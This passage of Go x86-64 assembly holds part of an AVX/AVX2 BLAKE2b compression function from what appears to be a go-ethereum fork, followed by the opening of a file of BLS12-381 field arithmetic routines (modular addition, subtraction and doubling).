LOAD_MSG_AVX2_13_7_12_3_11_14_1_9_5_15_8_2_0_4_6_10() \ LOAD_MSG_AVX2_Y12(13, 7, 12, 3); \ LOAD_MSG_AVX2_Y13(11, 14, 1, 9); \ LOAD_MSG_AVX2_Y14(5, 15, 8, 2); \ VMOVQ_SI_X15_0; \ VMOVQ_SI_X11(6*8); \ VPINSRQ_1_SI_X15(4*8); \ VPINSRQ_1_SI_X11(10*8); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_6_14_11_0_15_9_3_8_12_13_1_10_2_7_4_5() \ VMOVQ_SI_X12(6*8); \ VMOVQ_SI_X11(11*8); \ VPINSRQ_1_SI_X12(14*8); \ VPINSRQ_1_SI_X11_0; \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(15, 9, 3, 8); \ VMOVQ_SI_X11(1*8); \ VMOVDQU 12*8(SI), X14; \ VPINSRQ_1_SI_X11(10*8); \ VINSERTI128 $1, X11, Y14, Y14; \ VMOVQ_SI_X15(2*8); \ VMOVDQU 4*8(SI), X11; \ VPINSRQ_1_SI_X15(7*8); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_10_8_7_1_2_4_6_5_15_9_3_13_11_14_12_0() \ LOAD_MSG_AVX2_Y12(10, 8, 7, 1); \ VMOVQ_SI_X13(2*8); \ VPSHUFD $0x4E, 5*8(SI), X11; \ VPINSRQ_1_SI_X13(4*8); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(15, 9, 3, 13); \ VMOVQ_SI_X15(11*8); \ VMOVQ_SI_X11(12*8); \ VPINSRQ_1_SI_X15(14*8); \ VPINSRQ_1_SI_X11_0; \ VINSERTI128 $1, X11, Y15, Y15 // func fAVX2(h *[8]uint64, m *[16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fAVX2(SB), 4, $64-48 // frame size = 32 + 32 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, DX MOVQ SP, R10 ADDQ $31, R10 ANDQ $~31, R10 MOVQ R10, SP MOVQ CX, 16(SP) XORQ CX, CX MOVQ CX, 24(SP) VMOVDQU ·AVX2_c40<>(SB), Y4 VMOVDQU ·AVX2_c48<>(SB), Y5 VMOVDQU 0(AX), Y8 VMOVDQU 32(AX), Y9 VMOVDQU ·AVX2_iv0<>(SB), Y6 VMOVDQU ·AVX2_iv1<>(SB), Y7 MOVQ R8, 0(SP) MOVQ R9, 8(SP) VMOVDQA Y8, Y0 VMOVDQA Y9, Y1 VMOVDQA Y6, Y2 VPXOR 0(SP), Y7, Y3 loop: SUBQ $1, BX; JCS done LOAD_MSG_AVX2_0_2_4_6_1_3_5_7_8_10_12_14_9_11_13_15() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_14_4_9_13_10_8_15_6_1_0_11_5_12_2_7_3() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_11_12_5_15_8_0_2_13_10_3_7_9_14_6_1_4() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_7_3_13_11_9_1_12_14_2_5_4_15_6_10_0_8() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_9_5_2_10_0_7_4_15_14_11_6_3_1_12_8_13() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_2_6_0_8_12_10_11_3_4_7_15_1_13_5_14_9() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_12_1_14_4_5_15_13_10_0_6_9_8_7_3_2_11() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_13_7_12_3_11_14_1_9_5_15_8_2_0_4_6_10() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_6_14_11_0_15_9_3_8_12_13_1_10_2_7_4_5() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_10_8_7_1_2_4_6_5_15_9_3_13_11_14_12_0() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) JMP loop done: VPXOR Y0, Y8, Y8 VPXOR Y1, Y9, Y9 VPXOR Y2, Y8, Y8 VPXOR Y3, Y9, Y9 VMOVDQU Y8, 0(AX) VMOVDQU Y9, 32(AX) VZEROUPPER MOVQ DX, SP RET #define VPUNPCKLQDQ_X2_X2_X15 BYTE $0xC5; BYTE $0x69; BYTE $0x6C; BYTE $0xFA #define VPUNPCKLQDQ_X3_X3_X15 BYTE $0xC5; BYTE $0x61; BYTE $0x6C; BYTE $0xFB #define VPUNPCKLQDQ_X7_X7_X15 BYTE $0xC5; BYTE $0x41; BYTE $0x6C; BYTE $0xFF #define VPUNPCKLQDQ_X13_X13_X15 BYTE $0xC4; BYTE $0x41; BYTE $0x11; BYTE $0x6C; BYTE $0xFD #define VPUNPCKLQDQ_X14_X14_X15 BYTE $0xC4; BYTE $0x41; BYTE $0x09; BYTE $0x6C; BYTE $0xFE #define VPUNPCKHQDQ_X15_X2_X2 BYTE $0xC4; BYTE $0xC1; BYTE $0x69; BYTE $0x6D; BYTE $0xD7 #define VPUNPCKHQDQ_X15_X3_X3 BYTE $0xC4; BYTE $0xC1; BYTE $0x61; BYTE $0x6D; BYTE $0xDF #define VPUNPCKHQDQ_X15_X6_X6 BYTE $0xC4; BYTE $0xC1; BYTE $0x49; BYTE $0x6D; BYTE $0xF7 #define VPUNPCKHQDQ_X15_X7_X7 BYTE $0xC4; BYTE $0xC1; BYTE $0x41; BYTE $0x6D; BYTE $0xFF #define VPUNPCKHQDQ_X15_X3_X2 BYTE $0xC4; BYTE $0xC1; BYTE $0x61; BYTE $0x6D; BYTE $0xD7 #define VPUNPCKHQDQ_X15_X7_X6 BYTE $0xC4; BYTE $0xC1; BYTE $0x41; BYTE $0x6D; BYTE $0xF7 #define VPUNPCKHQDQ_X15_X13_X3 BYTE $0xC4; BYTE $0xC1; BYTE $0x11; BYTE $0x6D; BYTE $0xDF #define VPUNPCKHQDQ_X15_X13_X7 BYTE $0xC4; BYTE $0xC1; BYTE $0x11; BYTE $0x6D; BYTE $0xFF #define SHUFFLE_AVX() \ VMOVDQA X6, X13; \ VMOVDQA X2, X14; \ VMOVDQA X4, X6; \ VPUNPCKLQDQ_X13_X13_X15; \ VMOVDQA X5, X4; \ VMOVDQA X6, X5; \ VPUNPCKHQDQ_X15_X7_X6; \ VPUNPCKLQDQ_X7_X7_X15; \ VPUNPCKHQDQ_X15_X13_X7; \ VPUNPCKLQDQ_X3_X3_X15; \ VPUNPCKHQDQ_X15_X2_X2; \ VPUNPCKLQDQ_X14_X14_X15; \ VPUNPCKHQDQ_X15_X3_X3; \ #define SHUFFLE_AVX_INV() \ VMOVDQA X2, X13; \ VMOVDQA X4, X14; \ VPUNPCKLQDQ_X2_X2_X15; \ VMOVDQA X5, X4; \ VPUNPCKHQDQ_X15_X3_X2; \ VMOVDQA X14, X5; \ VPUNPCKLQDQ_X3_X3_X15; \ VMOVDQA X6, X14; \ VPUNPCKHQDQ_X15_X13_X3; \ VPUNPCKLQDQ_X7_X7_X15; \ VPUNPCKHQDQ_X15_X6_X6; \ VPUNPCKLQDQ_X14_X14_X15; \ VPUNPCKHQDQ_X15_X7_X7; \ #define HALF_ROUND_AVX(v0, v1, v2, v3, v4, v5, v6, v7, m0, m1, m2, m3, t0, c40, c48) \ VPADDQ m0, v0, v0; \ VPADDQ v2, v0, v0; \ VPADDQ m1, v1, v1; \ VPADDQ v3, v1, v1; \ VPXOR v0, v6, v6; \ VPXOR v1, v7, v7; \ VPSHUFD $-79, v6, v6; \ VPSHUFD $-79, v7, v7; \ VPADDQ v6, v4, v4; \ VPADDQ v7, v5, v5; \ VPXOR v4, v2, v2; \ VPXOR v5, v3, v3; \ VPSHUFB c40, v2, v2; \ VPSHUFB c40, v3, v3; \ VPADDQ m2, v0, v0; \ VPADDQ v2, v0, v0; \ VPADDQ m3, v1, v1; \ VPADDQ v3, v1, v1; \ VPXOR v0, v6, v6; \ VPXOR v1, v7, v7; \ VPSHUFB c48, v6, v6; \ VPSHUFB c48, v7, v7; \ VPADDQ v6, v4, v4; \ VPADDQ v7, v5, v5; \ VPXOR v4, v2, v2; \ VPXOR v5, v3, v3; \ VPADDQ v2, v2, t0; \ VPSRLQ $63, v2, v2; \ VPXOR t0, v2, v2; \ VPADDQ v3, v3, t0; \ VPSRLQ $63, v3, v3; \ VPXOR t0, v3, v3 // load msg: X12 = (i0, i1), X13 = (i2, i3), X14 = (i4, i5), X15 = (i6, i7) // i0, i1, i2, i3, i4, i5, i6, i7 must not be 0 #define LOAD_MSG_AVX(i0, i1, i2, i3, i4, i5, i6, i7) \ VMOVQ_SI_X12(i0*8); \ VMOVQ_SI_X13(i2*8); \ VMOVQ_SI_X14(i4*8); \ VMOVQ_SI_X15(i6*8); \ VPINSRQ_1_SI_X12(i1*8); \ VPINSRQ_1_SI_X13(i3*8); \ VPINSRQ_1_SI_X14(i5*8); \ VPINSRQ_1_SI_X15(i7*8) // load msg: X12 = (0, 2), X13 = (4, 6), X14 = (1, 3), X15 = (5, 7) #define LOAD_MSG_AVX_0_2_4_6_1_3_5_7() \ VMOVQ_SI_X12_0; \ VMOVQ_SI_X13(4*8); \ VMOVQ_SI_X14(1*8); \ VMOVQ_SI_X15(5*8); \ VPINSRQ_1_SI_X12(2*8); \ VPINSRQ_1_SI_X13(6*8); \ VPINSRQ_1_SI_X14(3*8); \ VPINSRQ_1_SI_X15(7*8) // load msg: X12 = (1, 0), X13 = (11, 5), X14 = (12, 2), X15 = (7, 3) #define LOAD_MSG_AVX_1_0_11_5_12_2_7_3() \ VPSHUFD $0x4E, 0*8(SI), X12; \ VMOVQ_SI_X13(11*8); \ VMOVQ_SI_X14(12*8); \ VMOVQ_SI_X15(7*8); \ VPINSRQ_1_SI_X13(5*8); \ VPINSRQ_1_SI_X14(2*8); \ VPINSRQ_1_SI_X15(3*8) // load msg: X12 = (11, 12), X13 = (5, 15), X14 = (8, 0), X15 = (2, 13) #define LOAD_MSG_AVX_11_12_5_15_8_0_2_13() \ VMOVDQU 11*8(SI), X12; \ VMOVQ_SI_X13(5*8); \ VMOVQ_SI_X14(8*8); \ VMOVQ_SI_X15(2*8); \ VPINSRQ_1_SI_X13(15*8); \ VPINSRQ_1_SI_X14_0; \ VPINSRQ_1_SI_X15(13*8) // load msg: X12 = (2, 5), X13 = (4, 15), X14 = (6, 10), X15 = (0, 8) #define LOAD_MSG_AVX_2_5_4_15_6_10_0_8() \ VMOVQ_SI_X12(2*8); \ VMOVQ_SI_X13(4*8); \ VMOVQ_SI_X14(6*8); \ VMOVQ_SI_X15_0; \ VPINSRQ_1_SI_X12(5*8); \ VPINSRQ_1_SI_X13(15*8); \ VPINSRQ_1_SI_X14(10*8); \ VPINSRQ_1_SI_X15(8*8) // load msg: X12 = (9, 5), X13 = (2, 10), X14 = (0, 7), X15 = (4, 15) #define LOAD_MSG_AVX_9_5_2_10_0_7_4_15() \ VMOVQ_SI_X12(9*8); \ VMOVQ_SI_X13(2*8); \ VMOVQ_SI_X14_0; \ VMOVQ_SI_X15(4*8); \ VPINSRQ_1_SI_X12(5*8); \ VPINSRQ_1_SI_X13(10*8); \ VPINSRQ_1_SI_X14(7*8); \ VPINSRQ_1_SI_X15(15*8) // load msg: X12 = (2, 6), X13 = (0, 8), X14 = (12, 10), X15 = (11, 3) #define LOAD_MSG_AVX_2_6_0_8_12_10_11_3() \ VMOVQ_SI_X12(2*8); \ VMOVQ_SI_X13_0; \ VMOVQ_SI_X14(12*8); \ VMOVQ_SI_X15(11*8); \ VPINSRQ_1_SI_X12(6*8); \ VPINSRQ_1_SI_X13(8*8); \ VPINSRQ_1_SI_X14(10*8); \ VPINSRQ_1_SI_X15(3*8) // load msg: X12 = (0, 6), X13 = (9, 8), X14 = (7, 3), X15 = (2, 11) #define LOAD_MSG_AVX_0_6_9_8_7_3_2_11() \ MOVQ 0*8(SI), X12; \ VPSHUFD $0x4E, 8*8(SI), X13; \ MOVQ 7*8(SI), X14; \ MOVQ 2*8(SI), X15; \ VPINSRQ_1_SI_X12(6*8); \ VPINSRQ_1_SI_X14(3*8); \ VPINSRQ_1_SI_X15(11*8) // load msg: X12 = (6, 14), X13 = (11, 0), X14 = (15, 9), X15 = (3, 8) #define LOAD_MSG_AVX_6_14_11_0_15_9_3_8() \ MOVQ 6*8(SI), X12; \ MOVQ 11*8(SI), X13; \ MOVQ 15*8(SI), X14; \ MOVQ 3*8(SI), X15; \ VPINSRQ_1_SI_X12(14*8); \ VPINSRQ_1_SI_X13_0; \ VPINSRQ_1_SI_X14(9*8); \ VPINSRQ_1_SI_X15(8*8) // load msg: X12 = (5, 15), X13 = (8, 2), X14 = (0, 4), X15 = (6, 10) #define LOAD_MSG_AVX_5_15_8_2_0_4_6_10() \ MOVQ 5*8(SI), X12; \ MOVQ 8*8(SI), X13; \ MOVQ 0*8(SI), X14; \ MOVQ 6*8(SI), X15; \ VPINSRQ_1_SI_X12(15*8); \ VPINSRQ_1_SI_X13(2*8); \ VPINSRQ_1_SI_X14(4*8); \ VPINSRQ_1_SI_X15(10*8) // load msg: X12 = (12, 13), X13 = (1, 10), X14 = (2, 7), X15 = (4, 5) #define LOAD_MSG_AVX_12_13_1_10_2_7_4_5() \ VMOVDQU 12*8(SI), X12; \ MOVQ 1*8(SI), X13; \ MOVQ 2*8(SI), X14; \ VPINSRQ_1_SI_X13(10*8); \ VPINSRQ_1_SI_X14(7*8); \ VMOVDQU 4*8(SI), X15 // load msg: X12 = (15, 9), X13 = (3, 13), X14 = (11, 14), X15 = (12, 0) #define LOAD_MSG_AVX_15_9_3_13_11_14_12_0() \ MOVQ 15*8(SI), X12; \ MOVQ 3*8(SI), X13; \ MOVQ 11*8(SI), X14; \ MOVQ 12*8(SI), X15; \ VPINSRQ_1_SI_X12(9*8); \ VPINSRQ_1_SI_X13(13*8); \ VPINSRQ_1_SI_X14(14*8); \ VPINSRQ_1_SI_X15_0 // func fAVX(h *[8]uint64, m *[16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fAVX(SB), 4, $24-48 // frame size = 8 + 16 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, BP MOVQ SP, R10 ADDQ $15, R10 ANDQ $~15, R10 MOVQ R10, SP VMOVDQU ·AVX_c40<>(SB), X0 VMOVDQU ·AVX_c48<>(SB), X1 VMOVDQA X0, X8 VMOVDQA X1, X9 VMOVDQU ·AVX_iv3<>(SB), X0 VMOVDQA X0, 0(SP) XORQ CX, 0(SP) // 0(SP) = ·AVX_iv3 ^ (CX || 0) VMOVDQU 0(AX), X10 VMOVDQU 16(AX), X11 VMOVDQU 32(AX), X2 VMOVDQU 48(AX), X3 VMOVQ_R8_X15 VPINSRQ_1_R9_X15 VMOVDQA X10, X0 VMOVDQA X11, X1 VMOVDQU ·AVX_iv0<>(SB), X4 VMOVDQU ·AVX_iv1<>(SB), X5 VMOVDQU ·AVX_iv2<>(SB), X6 VPXOR X15, X6, X6 VMOVDQA 0(SP), X7 loop: SUBQ $1, BX; JCS done LOAD_MSG_AVX_0_2_4_6_1_3_5_7() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(8, 10, 12, 14, 9, 11, 13, 15) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(14, 4, 9, 13, 10, 8, 15, 6) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_1_0_11_5_12_2_7_3() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_11_12_5_15_8_0_2_13() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(10, 3, 7, 9, 14, 6, 1, 4) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(7, 3, 13, 11, 9, 1, 12, 14) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_2_5_4_15_6_10_0_8() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_9_5_2_10_0_7_4_15() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(14, 11, 6, 3, 1, 12, 8, 13) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_2_6_0_8_12_10_11_3() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(4, 7, 15, 1, 13, 5, 14, 9) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(12, 1, 14, 4, 5, 15, 13, 10) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_0_6_9_8_7_3_2_11() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(13, 7, 12, 3, 11, 14, 1, 9) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_5_15_8_2_0_4_6_10() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_6_14_11_0_15_9_3_8() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_12_13_1_10_2_7_4_5() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(10, 8, 7, 1, 2, 4, 6, 5) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_15_9_3_13_11_14_12_0() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() JMP loop done: VMOVDQU 32(AX), X14 VMOVDQU 48(AX), X15 VPXOR X0, X10, X10 VPXOR X1, X11, X11 VPXOR X2, X14, X14 VPXOR X3, X15, X15 VPXOR X4, X10, X10 VPXOR X5, X11, X11 VPXOR X6, X14, X2 VPXOR X7, X15, X3 VMOVDQU X2, 32(AX) VMOVDQU X3, 48(AX) VMOVDQU X10, 0(AX) VMOVDQU X11, 16(AX) VZEROUPPER MOVQ BP, SP RET
orchain/go-ethereum
31,125
crypto/bls12381/arithmetic_x86.s
// +build amd64,blsasm amd64,blsadx #include "textflag.h" // addition w/ modular reduction // a = (a + b) % p TEXT ·addAssign(SB), NOSPLIT, $0-16 // | MOVQ a+0(FP), DI MOVQ b+8(FP), SI // | MOVQ (DI), R8 MOVQ 8(DI), R9 MOVQ 16(DI), R10 MOVQ 24(DI), R11 MOVQ 32(DI), R12 MOVQ 40(DI), R13 // | ADDQ (SI), R8 ADCQ 8(SI), R9 ADCQ 16(SI), R10 ADCQ 24(SI), R11 ADCQ 32(SI), R12 ADCQ 40(SI), R13 // | MOVQ R8, R14 MOVQ R9, R15 MOVQ R10, CX MOVQ R11, DX MOVQ R12, SI MOVQ R13, BX MOVQ $0xb9feffffffffaaab, AX SUBQ AX, R14 MOVQ $0x1eabfffeb153ffff, AX SBBQ AX, R15 MOVQ $0x6730d2a0f6b0f624, AX SBBQ AX, CX MOVQ $0x64774b84f38512bf, AX SBBQ AX, DX MOVQ $0x4b1ba7b6434bacd7, AX SBBQ AX, SI MOVQ $0x1a0111ea397fe69a, AX SBBQ AX, BX CMOVQCC R14, R8 CMOVQCC R15, R9 CMOVQCC CX, R10 CMOVQCC DX, R11 CMOVQCC SI, R12 CMOVQCC BX, R13 // | MOVQ R8, (DI) MOVQ R9, 8(DI) MOVQ R10, 16(DI) MOVQ R11, 24(DI) MOVQ R12, 32(DI) MOVQ R13, 40(DI) RET /* | end */ // addition w/ modular reduction // c = (a + b) % p TEXT ·add(SB), NOSPLIT, $0-24 // | MOVQ a+8(FP), DI MOVQ b+16(FP), SI // | MOVQ (DI), R8 MOVQ 8(DI), R9 MOVQ 16(DI), R10 MOVQ 24(DI), R11 MOVQ 32(DI), R12 MOVQ 40(DI), R13 // | ADDQ (SI), R8 ADCQ 8(SI), R9 ADCQ 16(SI), R10 ADCQ 24(SI), R11 ADCQ 32(SI), R12 ADCQ 40(SI), R13 // | MOVQ R8, R14 MOVQ R9, R15 MOVQ R10, CX MOVQ R11, DX MOVQ R12, SI MOVQ R13, BX MOVQ $0xb9feffffffffaaab, DI SUBQ DI, R14 MOVQ $0x1eabfffeb153ffff, DI SBBQ DI, R15 MOVQ $0x6730d2a0f6b0f624, DI SBBQ DI, CX MOVQ $0x64774b84f38512bf, DI SBBQ DI, DX MOVQ $0x4b1ba7b6434bacd7, DI SBBQ DI, SI MOVQ $0x1a0111ea397fe69a, DI SBBQ DI, BX CMOVQCC R14, R8 CMOVQCC R15, R9 CMOVQCC CX, R10 CMOVQCC DX, R11 CMOVQCC SI, R12 CMOVQCC BX, R13 // | MOVQ c+0(FP), DI MOVQ R8, (DI) MOVQ R9, 8(DI) MOVQ R10, 16(DI) MOVQ R11, 24(DI) MOVQ R12, 32(DI) MOVQ R13, 40(DI) RET /* | end */ // addition w/o reduction check // c = (a + b) TEXT ·ladd(SB), NOSPLIT, $0-24 // | MOVQ a+8(FP), DI MOVQ b+16(FP), SI // | MOVQ (DI), R8 MOVQ 8(DI), R9 MOVQ 16(DI), R10 MOVQ 24(DI), R11 MOVQ 32(DI), R12 MOVQ 40(DI), R13 // | ADDQ (SI), R8 ADCQ 8(SI), R9 ADCQ 16(SI), R10 ADCQ 24(SI), R11 ADCQ 32(SI), R12 ADCQ 40(SI), R13 // | MOVQ c+0(FP), DI MOVQ R8, (DI) MOVQ R9, 8(DI) MOVQ R10, 16(DI) MOVQ R11, 24(DI) MOVQ R12, 32(DI) MOVQ R13, 40(DI) RET /* | end */ // addition w/o reduction check // a = a + b TEXT ·laddAssign(SB), NOSPLIT, $0-16 // | MOVQ a+0(FP), DI MOVQ b+8(FP), SI // | MOVQ (DI), R8 MOVQ 8(DI), R9 MOVQ 16(DI), R10 MOVQ 24(DI), R11 MOVQ 32(DI), R12 MOVQ 40(DI), R13 // | ADDQ (SI), R8 ADCQ 8(SI), R9 ADCQ 16(SI), R10 ADCQ 24(SI), R11 ADCQ 32(SI), R12 ADCQ 40(SI), R13 // | MOVQ a+0(FP), DI MOVQ R8, (DI) MOVQ R9, 8(DI) MOVQ R10, 16(DI) MOVQ R11, 24(DI) MOVQ R12, 32(DI) MOVQ R13, 40(DI) RET /* | end */ // subtraction w/ modular reduction // c = (a - b) % p TEXT ·sub(SB), NOSPLIT, $0-24 // | MOVQ a+8(FP), DI MOVQ b+16(FP), SI XORQ AX, AX // | MOVQ (DI), R8 MOVQ 8(DI), R9 MOVQ 16(DI), R10 MOVQ 24(DI), R11 MOVQ 32(DI), R12 MOVQ 40(DI), R13 SUBQ (SI), R8 SBBQ 8(SI), R9 SBBQ 16(SI), R10 SBBQ 24(SI), R11 SBBQ 32(SI), R12 SBBQ 40(SI), R13 // | MOVQ $0xb9feffffffffaaab, R14 MOVQ $0x1eabfffeb153ffff, R15 MOVQ $0x6730d2a0f6b0f624, CX MOVQ $0x64774b84f38512bf, DX MOVQ $0x4b1ba7b6434bacd7, SI MOVQ $0x1a0111ea397fe69a, BX CMOVQCC AX, R14 CMOVQCC AX, R15 CMOVQCC AX, CX CMOVQCC AX, DX CMOVQCC AX, SI CMOVQCC AX, BX ADDQ R14, R8 ADCQ R15, R9 ADCQ CX, R10 ADCQ DX, R11 ADCQ SI, R12 ADCQ BX, R13 // | MOVQ c+0(FP), DI MOVQ R8, (DI) MOVQ R9, 8(DI) MOVQ R10, 16(DI) MOVQ R11, 24(DI) MOVQ R12, 32(DI) MOVQ R13, 40(DI) RET /* | end */ // subtraction w/ modular reduction // a = (a - b) % p TEXT ·subAssign(SB), NOSPLIT, $0-16 // | MOVQ a+0(FP), DI MOVQ b+8(FP), SI XORQ AX, AX // | MOVQ (DI), R8 MOVQ 8(DI), R9 MOVQ 16(DI), R10 MOVQ 24(DI), R11 MOVQ 32(DI), R12 MOVQ 40(DI), R13 SUBQ (SI), R8 SBBQ 8(SI), R9 SBBQ 16(SI), R10 SBBQ 24(SI), R11 SBBQ 32(SI), R12 SBBQ 40(SI), R13 // | MOVQ $0xb9feffffffffaaab, R14 MOVQ $0x1eabfffeb153ffff, R15 MOVQ $0x6730d2a0f6b0f624, CX MOVQ $0x64774b84f38512bf, DX MOVQ $0x4b1ba7b6434bacd7, SI MOVQ $0x1a0111ea397fe69a, BX CMOVQCC AX, R14 CMOVQCC AX, R15 CMOVQCC AX, CX CMOVQCC AX, DX CMOVQCC AX, SI CMOVQCC AX, BX ADDQ R14, R8 ADCQ R15, R9 ADCQ CX, R10 ADCQ DX, R11 ADCQ SI, R12 ADCQ BX, R13 // | MOVQ a+0(FP), DI MOVQ R8, (DI) MOVQ R9, 8(DI) MOVQ R10, 16(DI) MOVQ R11, 24(DI) MOVQ R12, 32(DI) MOVQ R13, 40(DI) RET /* | end */ // subtraction w/o reduction check // a = (a - b) TEXT ·lsubAssign(SB), NOSPLIT, $0-16 // | MOVQ a+0(FP), DI MOVQ b+8(FP), SI // | MOVQ (DI), R8 MOVQ 8(DI), R9 MOVQ 16(DI), R10 MOVQ 24(DI), R11 MOVQ 32(DI), R12 MOVQ 40(DI), R13 SUBQ (SI), R8 SBBQ 8(SI), R9 SBBQ 16(SI), R10 SBBQ 24(SI), R11 SBBQ 32(SI), R12 SBBQ 40(SI), R13 // | MOVQ a+0(FP), DI MOVQ R8, (DI) MOVQ R9, 8(DI) MOVQ R10, 16(DI) MOVQ R11, 24(DI) MOVQ R12, 32(DI) MOVQ R13, 40(DI) RET /* | end */ // doubling w/ reduction // c = (2 * a) % p TEXT ·double(SB), NOSPLIT, $0-16 // | MOVQ a+8(FP), DI MOVQ (DI), R8 MOVQ 8(DI), R9 MOVQ 16(DI), R10 MOVQ 24(DI), R11 MOVQ 32(DI), R12 MOVQ 40(DI), R13 ADDQ R8, R8 ADCQ R9, R9 ADCQ R10, R10 ADCQ R11, R11 ADCQ R12, R12 ADCQ R13, R13 // | MOVQ R8, R14 MOVQ R9, R15 MOVQ R10, CX MOVQ R11, DX MOVQ R12, SI MOVQ R13, BX MOVQ $0xb9feffffffffaaab, DI SUBQ DI, R14 MOVQ $0x1eabfffeb153ffff, DI SBBQ DI, R15 MOVQ $0x6730d2a0f6b0f624, DI SBBQ DI, CX MOVQ $0x64774b84f38512bf, DI SBBQ DI, DX MOVQ $0x4b1ba7b6434bacd7, DI SBBQ DI, SI MOVQ $0x1a0111ea397fe69a, DI SBBQ DI, BX CMOVQCC R14, R8 CMOVQCC R15, R9 CMOVQCC CX, R10 CMOVQCC DX, R11 CMOVQCC SI, R12 CMOVQCC BX, R13 // | MOVQ c+0(FP), DI MOVQ R8, (DI) MOVQ R9, 8(DI) MOVQ R10, 16(DI) MOVQ R11, 24(DI) MOVQ R12, 32(DI) MOVQ R13, 40(DI) RET /* | end */ // doubling w/ reduction // a = (2 * a) % p TEXT ·doubleAssign(SB), NOSPLIT, $0-8 // | MOVQ a+0(FP), DI MOVQ (DI), R8 MOVQ 8(DI), R9 MOVQ 16(DI), R10 MOVQ 24(DI), R11 